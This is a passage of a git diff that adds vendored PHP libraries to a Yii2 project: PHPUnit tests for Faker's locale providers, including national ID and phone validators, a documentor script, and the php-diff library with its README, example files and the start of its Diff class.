localeDataProvider() + { + $locales = $this->getAllLocales(); + $data = array(); + + foreach ($locales as $locale) { + $data[] = array( + $locale + ); + } + + return $data; + } + + + /** + * Returns all locales as array values + * + * @return array + */ + private function getAllLocales() + { + static $locales = array(); + + if ( ! empty($locales)) { + return $locales; + } + + // Finding all PHP files in the xx_XX directories + $providerDir = __DIR__ .'/../../../src/Faker/Provider'; + foreach (glob($providerDir .'/*_*/*.php') as $file) { + $localisation = basename(dirname($file)); + + if (isset($locales[ $localisation ])) { + continue; + } + + $locales[ $localisation ] = $localisation; + } + + return $locales; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/TextTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/TextTest.php new file mode 100644 index 00000000..8594af71 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/TextTest.php @@ -0,0 +1,54 @@ +addProvider(new Text($generator)); + $generator->seed(0); + + $lengths = array(10, 20, 50, 70, 90, 120, 150, 200, 500); + + foreach ($lengths as $length) { + $this->assertLessThan($length, $generator->realText($length)); + } + } + + /** + * @expectedException \InvalidArgumentException + */ + public function testTextMaxIndex() + { + $generator = new Generator(); + $generator->addProvider(new Text($generator)); + $generator->seed(0); + $generator->realText(200, 11); + } + + /** + * @expectedException \InvalidArgumentException + */ + public function testTextMinIndex() + { + $generator = new Generator(); + $generator->addProvider(new Text($generator)); + $generator->seed(0); + $generator->realText(200, 0); + } + + /** + * @expectedException \InvalidArgumentException + */ + public function testTextMinLength() + { + $generator = new Generator(); + $generator->addProvider(new Text($generator)); + $generator->seed(0); + $generator->realText(9); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/UserAgentTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/UserAgentTest.php new file mode 100644 index 00000000..b45b9f86 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/UserAgentTest.php @@ -0,0 +1,38 @@ +assertNotNull(UserAgent::userAgent()); + } + + public function testFirefoxUserAgent() + { + $this->stringContains(' Firefox/', UserAgent::firefox()); + } + + public function testSafariUserAgent() + { + $this->stringContains('Safari/', UserAgent::safari()); + } + + public function testInternetExplorerUserAgent() + { + $this->assertStringStartsWith('Mozilla/5.0 (compatible; MSIE ', UserAgent::internetExplorer()); + } + + public function testOperaUserAgent() + { + $this->assertStringStartsWith('Opera/', UserAgent::opera()); + } + + public function testChromeUserAgent() + { + $this->stringContains('(KHTML, like Gecko) Chrome/', UserAgent::chrome()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/UuidTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/UuidTest.php new file mode 100644 index 00000000..fceb8dfe --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/UuidTest.php @@ -0,0 +1,26 @@ +assertTrue($this->isUuid($uuid)); + } + + public function testUuidExpectedSeed() + { + mt_srand(123); + $this->assertEquals("8e2e0c84-50dd-367c-9e66-f3ab455c78d6", BaseProvider::uuid()); + $this->assertEquals("073eb60a-902c-30ab-93d0-a94db371f6c8", BaseProvider::uuid()); + } + + protected function isUuid($uuid) + { + return is_string($uuid) && (bool) preg_match('/^[a-f0-9]{8,8}-(?:[a-f0-9]{4,4}-){3,3}[a-f0-9]{12,12}$/i', $uuid); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/fr_FR/CompanyTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/fr_FR/CompanyTest.php new file mode 100644 index 00000000..de8d8ab6 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/fr_FR/CompanyTest.php @@ -0,0 +1,82 @@ +assertThat($siret, self::isValidSiret()); + $this->assertRegExp("/[\d]{3} [\d]{3} [\d]{3} 00[\d]{3}/", $siret); + } + + public function testParagraphWithInvalidNbDigitsReturnsAWellFormattedSiret() + { + $siret = Company::siret(6); + + $this->assertThat($siret, self::isValidSiret()); + $this->assertRegExp("/[\d]{3} [\d]{3} [\d]{3} 00[\d]{3}/", $siret); + } + + public function testParagraphWithValidNbDigitsReturnsAWellFormattedSiret() + { + $siret1 = Company::siret(1); + $siret2 = Company::siret(2); + $siret3 = Company::siret(3); + $siret4 = Company::siret(4); + + $this->assertThat($siret1, self :: isValidSiret()); + $this->assertRegExp("/[\d]{3} [\d]{3} [\d]{3} 000[\d]{2}/", $siret1); + $this->assertThat($siret2, self :: isValidSiret()); + $this->assertRegExp("/[\d]{3} [\d]{3} [\d]{3} 00[\d]{3}/", $siret2); + $this->assertThat($siret3, self :: isValidSiret()); + $this->assertRegExp("/[\d]{3} [\d]{3} [\d]{3} 0[\d]{4}/", $siret3); + $this->assertThat($siret4, self :: isValidSiret()); + $this->assertRegExp("/[\d]{3} [\d]{3} [\d]{3} [\d]{5}/", $siret4); + } + + public function testSirenReturnsAValidAndWellFormattedSiren() + { + $siret = Company::siren(); + + $this->assertThat($siret, self :: isValidSiren()); + $this->assertRegExp("/[\d]{3} [\d]{3} [\d]{3}/", $siret); + } + + public function testCatchPhraseValidationReturnsFalse() + { + $isCatchPhraseValid = TestableCompany::isCatchPhraseValid('La sécurité de rouler en toute sécurité'); + + $this->assertFalse($isCatchPhraseValid); + } + + public function testCatchPhraseValidationReturnsTrue() + { + $isCatchPhraseValid = TestableCompany::isCatchPhraseValid('La sécurité de rouler en toute simplicité'); + + $this->assertTrue($isCatchPhraseValid); + } +} + +class TestableCompany extends Company +{ + public static function isCatchPhraseValid($catchPhrase) + { + return parent::isCatchPhraseValid($catchPhrase); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ja_JP/PersonTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ja_JP/PersonTest.php new file mode 100755 index 00000000..0f1ac62b --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ja_JP/PersonTest.php @@ -0,0 +1,38 @@ +addProvider(new Person($faker)); + $faker->seed(1); + + $this->assertEquals('アオタ ナオコ', $faker->kanaName()); + } + + public function testFirstKanaNameReturnsTomomi() + { + $faker = new Generator(); + $faker->addProvider(new Person($faker)); + $faker->seed(1); + + $this->assertEquals('トモミ', $faker->firstKanaName); + } + + public function testLastKanaNameReturnsNagisa() + { + $faker = new Generator(); + $faker->addProvider(new Person($faker)); + $faker->seed(1); + + $this->assertEquals('ナギサ', $faker->lastKanaName); + } + +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/AddressTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/AddressTest.php new file mode 100644 index 00000000..489e0367 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/AddressTest.php @@ -0,0 +1,30 @@ +addProvider(new Address($faker)); + $this->faker = $faker; + } + + public function testPostCodeIsValid() + { + $main = '[1-9]{1}[0-9]{2}[0,1,4,5,9]{1}'; + $pattern = "/^($main)|($main-[0-9]{3})+$/"; + $postcode = $this->faker->postcode(); + $this->assertSame(preg_match($pattern, $postcode), 1, $postcode); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/InternetTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/InternetTest.php new file mode 100644 index 00000000..bb0707f2 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/InternetTest.php @@ -0,0 +1,37 @@ +addProvider(new Person($faker)); + $faker->addProvider(new Internet($faker)); + $faker->addProvider(new Company($faker)); + $this->faker = $faker; + } + + /** + * @link http://stackoverflow.com/questions/12026842/how-to-validate-an-email-address-in-php + */ + public function testEmailIsValid() + { + $pattern = '/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD'; + $emailaddress = $this->faker->email(); + $this->assertSame(preg_match($pattern, $emailaddress), 1, $emailaddress); + } + public function testUsernameIsValid() + { + $pattern = '/^[A-Za-z0-9_.]+$/'; + $emailaddress = $this->faker->username(); + $this->assertSame(preg_match($pattern, $emailaddress), 1, $emailaddress); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/PersonTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/PersonTest.php new file mode 100644 index 00000000..9bfb7a2f --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/PersonTest.php @@ -0,0 +1,52 @@ +addProvider(new Person($faker)); + $this->faker = $faker; + } + + public function testTaxpayerIdentificationNumberIsValid() + { + $tin = $this->faker->taxpayerIdentificationNumber(); + $this->assertTrue($this->isValidTin($tin), $tin); + } + + /** + * + * @link http://pt.wikipedia.org/wiki/N%C3%BAmero_de_identifica%C3%A7%C3%A3o_fiscal + * + * @param type $tin + * + * @return boolean + */ + public static function isValidTin($tin) + { + $regex = '(([1,2,3,5,6,8]{1}[0-9]{8})|((45)|(70)|(71)|(72)|(77)|(79)|(90|(98|(99))))[0-9]{7})'; + if (is_null($tin) || !is_numeric($tin) || !strlen($tin) == 9 || preg_match("/$regex/", $tin) !== 1) { + return false; + } + $n = str_split($tin); + // cd - Control Digit + $cd = ($n[0] * 9 + $n[1] * 8 + $n[2] * 7 + $n[3] * 6 + $n[4] * 5 + $n[5] * 4 + $n[6] * 3 + $n[7] * 2) % 11; + if ($cd === 0 || $cd === 1) { + $cd = 0; + } else { + $cd = 11 - $cd; + } + if ($cd === intval($n[8])) { + return true; + } + + return false; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/PhoneNumberTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/PhoneNumberTest.php new file mode 100644 index 00000000..04b2f63d --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/pt_PT/PhoneNumberTest.php @@ -0,0 +1,25 @@ +addProvider(new PhoneNumber($faker)); + $this->faker = $faker; + } + + public function testPhoneNumberReturnsPhoneNumberWithOrWithoutPrefix() + { + $this->assertRegExp('/^(9[1,2,3,6][0-9]{7})|(2[0-9]{8})|(\+351 [2][0-9]{8})|(\+351 9[1,2,3,6][0-9]{7})/', $this->faker->phoneNumber()); + } + public function testMobileNumberReturnsMobileNumberWithOrWithoutPrefix() + { + $this->assertRegExp('/^(9[1,2,3,6][0-9]{7})/', $this->faker->mobileNumber()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ro_RO/PersonTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ro_RO/PersonTest.php new file mode 100644 index 00000000..5816b63c --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ro_RO/PersonTest.php @@ -0,0 +1,95 @@ +seed(1); + $faker->addProvider(new DateTime($faker)); + $faker->addProvider(new Person($faker)); + $this->faker = $faker; + } + + public function testCnpReturnsValidCnp() + { + $cnp = $this->faker->cnp; + $this->assertTrue($this->isValidCnp($cnp)); + } + + public function testCnpReturnsMaleCnp() + { + $cnp = $this->faker->cnp('m'); + $this->assertRegExp('/^[1357]\d{12}$/', $cnp); + } + + public function testCnpReturnsFemaleCnp() + { + $cnp = $this->faker->cnp('f'); + $this->assertRegExp('/^[2468]\d{12}$/', $cnp); + } + + public function testCnpReturns1800sCnp() + { + $cnp = $this->faker->cnp(null, 1800); + $this->assertRegExp('/^[34]\d{12}$/', $cnp); + } + + public function testCnpReturns1900sCnp() + { + $cnp = $this->faker->cnp(null, 1900); + $this->assertRegExp('/^[12]\d{12}$/', $cnp); + } + + public function testCnpReturns2000sCnp() + { + $cnp = $this->faker->cnp(null, 2000); + $this->assertRegExp('/^[56]\d{12}$/', $cnp); + } + + public function testCnpReturnsBrasovCnp() + { + $cnp = $this->faker->cnp(null, null, 'BV'); + $this->assertRegExp('/^\d{7}08\d{4}$/', $cnp); + } + + public function testCnpReturns2000sClujFemaleCnp() + { + $cnp = $this->faker->cnp('f', 2000, 'CJ'); + $this->assertRegExp('/^6\d{6}12\d{4}$/', $cnp); + } + + protected function isValidCnp($cnp) + { + if ( + is_string($cnp) + && (bool) preg_match(static::TEST_CNP_REGEX, $cnp) + && checkdate(substr($cnp, 3, 2), substr($cnp, 5, 2), substr($cnp, 1, 2)) + ){ + $checkNumber = 279146358279; + + $checksum = 0; + foreach (range(0, 11) as $digit) { + $checksum += substr($cnp, $digit, 1) * substr($checkNumber, $digit, 1); + } + $checksum = $checksum % 11; + + if ( + ($checksum < 10 && $checksum == substr($cnp, -1)) + || ($checksum == 10 && substr($cnp, -1) == 1) + ){ + return true; + } + } + + return false; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ro_RO/PhoneNumberTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ro_RO/PhoneNumberTest.php new file mode 100644 index 00000000..97314d5f --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ro_RO/PhoneNumberTest.php @@ -0,0 +1,31 @@ +addProvider(new PhoneNumber($faker)); + $this->faker = $faker; + } + + public function testPhoneNumberReturnsNormalPhoneNumber() + { + $this->assertRegExp('/^0(?:[23][13-7]|7\d)\d{7}$/', $this->faker->phoneNumber()); + } + + public function testTollFreePhoneNumberReturnsTollFreePhoneNumber() + { + $this->assertRegExp('/^08(?:0[1267]|70)\d{6}$/', $this->faker->tollFreePhoneNumber()); + } + + public function testPremiumRatePhoneNumberReturnsPremiumRatePhoneNumber() + { + $this->assertRegExp('/^090[036]\d{6}$/', $this->faker->premiumRatePhoneNumber()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/uk_UA/AddressTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/uk_UA/AddressTest.php new file mode 100644 index 00000000..a3e38d73 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/uk_UA/AddressTest.php @@ -0,0 +1,80 @@ +addProvider(new Address($faker)); + $this->faker = $faker; + } + + public function testPostCodeIsValid() + { + $main = '[0-9]{5}'; + $pattern = "/^($main)|($main-[0-9]{3})+$/"; + $postcode = $this->faker->postcode; + $this->assertRegExp($pattern, $postcode, 'Post code ' . $postcode . ' is wrong!'); + } + + public function testEmptySuffixes() + { + $this->assertEmpty($this->faker->citySuffix, 'City suffix should be empty!'); + $this->assertEmpty($this->faker->streetSuffix, 'Street suffix should be empty!'); + } + + public function testStreetCyrOnly() + { + $pattern = "/[0-9А-ЩЯІЇЄЮа-щяіїєюьIVXCM][0-9А-ЩЯІЇЄЮа-щяіїєюь \'-.]*[А-Яа-я.]/u"; + $streetName = $this->faker->streetName; + $this->assertSame( + preg_match($pattern, $streetName), + 1, + 'Street name ' . $streetName . ' is wrong!' + ); + } + + public function testCityNameCyrOnly() + { + $pattern = "/[А-ЩЯІЇЄЮа-щяіїєюь][0-9А-ЩЯІЇЄЮа-щяіїєюь \'-]*[А-Яа-я]/u"; + $city = $this->faker->city; + $this->assertSame( + preg_match($pattern, $city), + 1, + 'City name ' . $city . ' is wrong!' + ); + } + + public function testRegionNameCyrOnly() + { + $pattern = "/[А-ЩЯІЇЄЮ][А-ЩЯІЇЄЮа-щяіїєюь]*а$/u"; + $regionName = $this->faker->region; + $this->assertSame( + preg_match($pattern, $regionName), + 1, + 'Region name ' . $regionName . ' is wrong!' + ); + } + + public function testCountryCyrOnly() + { + $pattern = "/[А-ЩЯІЇЄЮа-щяіїєюьIVXCM][А-ЩЯІЇЄЮа-щяіїєюь \'-]*[А-Яа-я.]/u"; + $country = $this->faker->country; + $this->assertSame( + preg_match($pattern, $country), + 1, + 'Country name ' . $country . ' is wrong!' + ); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/uk_UA/PhoneNumberTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/uk_UA/PhoneNumberTest.php new file mode 100644 index 00000000..41b41076 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/uk_UA/PhoneNumberTest.php @@ -0,0 +1,37 @@ +addProvider(new PhoneNumber($faker)); + $this->faker = $faker; + } + + public function testPhoneNumberFormat() + { + $pattern = "/((\+38)(((\(\d{3}\))\d{7}|(\(\d{4}\))\d{6})|(\d{8})))|0\d{9}/"; + $phoneNumber = $this->faker->phoneNumber; + $this->assertSame( + preg_match($pattern, $phoneNumber), + 1, + 'Phone number format ' . $phoneNumber . ' is wrong!' + ); + + } + + + +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/documentor.php b/php/yii2/basic/vendor/fzaninotto/faker/test/documentor.php new file mode 100644 index 00000000..1051ea28 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/documentor.php @@ -0,0 +1,16 @@ +seed(1); +$documentor = new Faker\Documentor($generator); +?> +getFormatters() as $provider => $formatters): ?> + +### `` + + $example): ?> + // + + +seed(5); + +echo ''; +?> + + + + +boolean(25)): ?> + + +
              + streetAddress ?> + city ?> + postcode ?> + state ?> +
              + +boolean(33)): ?> + bs ?> + +boolean(33)): ?> + + + +boolean(15)): ?> +
              +text(400) ?> +]]> +
              + +
              + +
              diff --git a/php/yii2/basic/vendor/phpspec/php-diff/README b/php/yii2/basic/vendor/phpspec/php-diff/README new file mode 100644 index 00000000..f596115f --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/README @@ -0,0 +1,58 @@ +PHP Diff Class +-------------- + +Introduction +------------ +A comprehensive library for generating differences between +two hashable objects (strings or arrays). Generated differences can be +rendered in all of the standard formats including: + * Unified + * Context + * Inline HTML + * Side by Side HTML + +The logic behind the core of the diff engine (ie, the sequence matcher) +is primarily based on the Python difflib package. The reason for doing +so is primarily because of its high degree of accuracy. + +Example Use +----------- +A quick usage example can be found in the example/ directory and under +example.php. + +More complete documentation will be available shortly. + +Todo +---- + * Ability to ignore blank line changes + * 3 way diff support + * Performance optimizations + +License (BSD License) +--------------------- +Copyright (c) 2009 Chris Boulton +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + + - Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + - Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + - Neither the name of the Chris Boulton nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/composer.json b/php/yii2/basic/vendor/phpspec/php-diff/composer.json new file mode 100644 index 00000000..5e91b0f9 --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/composer.json @@ -0,0 +1,19 @@ +{ + "name": "phpspec/php-diff", + "type": "library", + "description": "A comprehensive library for generating differences between two hashable objects (strings or arrays).", + "license": "BSD-3-Clause", + + "authors": [ + { + "name": "Chris Boulton", + "homepage": "http://github.com/chrisboulton" + } + ], + + "autoload": { + "psr-0": { + "Diff": "lib/" + } + } +} diff --git a/php/yii2/basic/vendor/phpspec/php-diff/example/a.txt b/php/yii2/basic/vendor/phpspec/php-diff/example/a.txt new file mode 100644 index 00000000..6f3897b2 --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/example/a.txt @@ -0,0 +1,13 @@ + + + + Hello World! + + +

              Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

              + +

              A heading we'll be removing

              + +

              Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

              + + \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/example/b.txt b/php/yii2/basic/vendor/phpspec/php-diff/example/b.txt new file mode 100644 index 00000000..5918964d --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/example/b.txt @@ -0,0 +1,14 @@ + + + + Goodbye Cruel World! + + +

              Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

              + + +

              Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

              + +

              Just a small amount of new text...

              + + \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/example/example.php b/php/yii2/basic/vendor/phpspec/php-diff/example/example.php new file mode 100644 index 00000000..234bc2c8 --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/example/example.php @@ -0,0 +1,69 @@ + + + + + PHP LibDiff - Examples + + + +

              PHP LibDiff - Examples

              +
              + true, + //'ignoreCase' => true, + ); + + // Initialize the diff class + $diff = new Diff($a, $b, $options); + + ?> +

              Side by Side Diff

              + Render($renderer); + + ?> +

              Inline Diff

              + render($renderer); + + ?> +

              Unified Diff

              +
              render($renderer));
              +
              +		?>
              +		
              +

              Context Diff

              +
              render($renderer));
              +		?>
              +		
              + + \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/example/styles.css b/php/yii2/basic/vendor/phpspec/php-diff/example/styles.css new file mode 100644 index 00000000..5454896f --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/example/styles.css @@ -0,0 +1,93 @@ +body { + background: #fff; + font-family: Arial; + font-size: 12px; +} +.Differences { + width: 100%; + border-collapse: collapse; + border-spacing: 0; + empty-cells: show; +} + +.Differences thead th { + text-align: left; + border-bottom: 1px solid #000; + background: #aaa; + color: #000; + padding: 4px; +} +.Differences tbody th { + text-align: right; + background: #ccc; + width: 4em; + padding: 1px 2px; + border-right: 1px solid #000; + vertical-align: top; + font-size: 13px; +} + +.Differences td { + padding: 1px 2px; + font-family: Consolas, monospace; + font-size: 13px; +} + +.DifferencesSideBySide .ChangeInsert td.Left { + background: #dfd; +} + +.DifferencesSideBySide .ChangeInsert td.Right { + background: #cfc; +} + +.DifferencesSideBySide .ChangeDelete td.Left { + background: #f88; +} + +.DifferencesSideBySide .ChangeDelete td.Right { + background: #faa; +} + +.DifferencesSideBySide .ChangeReplace .Left { + background: #fe9; +} + +.DifferencesSideBySide .ChangeReplace .Right { + background: #fd8; +} + +.Differences ins, .Differences del { + text-decoration: none; +} + +.DifferencesSideBySide .ChangeReplace ins, .DifferencesSideBySide .ChangeReplace del { + background: #fc0; +} + +.Differences .Skipped { + background: #f7f7f7; +} + +.DifferencesInline .ChangeReplace .Left, +.DifferencesInline .ChangeDelete .Left { + background: #fdd; +} + +.DifferencesInline .ChangeReplace .Right, +.DifferencesInline .ChangeInsert .Right { + background: #dfd; +} + +.DifferencesInline .ChangeReplace ins { + background: #9e9; +} + +.DifferencesInline .ChangeReplace del { + background: #e99; +} + +pre { + width: 100%; + overflow: auto; +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff.php b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff.php new file mode 100644 index 00000000..d6cecb79 --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff.php @@ -0,0 +1,177 @@ + + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the Chris Boulton nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @package Diff + * @author Chris Boulton + * @copyright (c) 2009 Chris Boulton + * @license New BSD License http://www.opensource.org/licenses/bsd-license.php + * @version 1.1 + * @link http://github.com/chrisboulton/php-diff + */ + +class Diff +{ + /** + * @var array The "old" sequence to use as the basis for the comparison. + */ + private $a = null; + + /** + * @var array The "new" sequence to generate the changes for. + */ + private $b = null; + + /** + * @var array Array containing the generated opcodes for the differences between the two items. + */ + private $groupedCodes = null; + + /** + * @var array Associative array of the default options available for the diff class and their default value. + */ + private $defaultOptions = array( + 'context' => 3, + 'ignoreNewLines' => false, + 'ignoreWhitespace' => false, 